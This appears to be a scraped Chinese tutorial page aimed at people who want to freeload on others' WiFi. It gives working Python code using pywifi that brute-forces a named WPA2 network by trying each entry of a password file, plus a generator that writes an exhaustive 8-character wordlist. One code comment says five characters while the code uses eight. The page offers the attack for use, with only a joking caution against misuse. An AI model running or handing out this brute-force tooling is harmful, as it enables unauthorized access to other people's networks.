Python 您所在的位置:网站首页 wafi密码怎么破 Python

Python

2024-07-13 16:23| 来源: 网络整理| 查看: 265

想蹭网?不知道wifi密码?教你如何破解wifi密码连上wifi

安装pywifi库

因为我已经安装好了,这里就不展示安装成功的信息了 在这里插入图片描述

这里有点注意的地方是有些人明明已经安装了pywifi,import pywifi运行的时候却报错,我也试过这样 在这里插入图片描述 这里只需要再安装一个comtypes库就行了,只有三百k左右大小,安装方法也是pip install 库就行了,安装好就可以使用pywifi了 在这里插入图片描述 验证pywifi是否安装成功,输入import pywifi,help(pywifi)出现以下信息就证明安装成功了 在这里插入图片描述 具体代码实现:

import pywifi from pywifi import const # 引入一个常量 import time def wifiConnect(wifiname,wifipassword): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] # 断开连接 ifaces.disconnect() time.sleep(0.5) if ifaces.status() == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # WiFi名称 profile.ssid = wifiname # WiFi密码 profile.key = wifipassword # WiFi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 网卡的开放 profile.auth = const.AUTH_ALG_OPEN # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 删除所有的WiFi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) # 连接WiFi ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def read_password(): '''读取密码本''' print('开始破解:') path = 'D:\超级密码本.txt' file = open(path, 'r') # 以只读的方式 while True: try: # 按行读取密码本 wifipwd = file.readline() # 第一个参数是指定 WiFi 名称,第二个参数是读取的密码 bool = wifiConnect('Hello World', wifipwd) if bool: print('密码正确:' + wifipwd) break else: print('密码错误:' + wifipwd) except: continue # 关闭资源 file.close() # 调用方法 read_password()

效果图: 在这里插入图片描述 在这里插入图片描述 密码正确之后会自动连接到wifi哦,是不是很暴力哈哈,不要随便乱用哈

附:密码生成器

import itertools as its # 自定义密码生成 words = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%&*?." # 生成密码本的位数,五位数,repeat=5 自定义密码位数 r = its.product(words, repeat = 8) # 保存在文件中,追加 dic = open("./password.txt", "a") # i是元组 for i in r: # jion空格链接 dic.write("".join(i)) dic.write("".join("\n")) print("正在生成密码......") dic.close() print("密码本已生成")


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有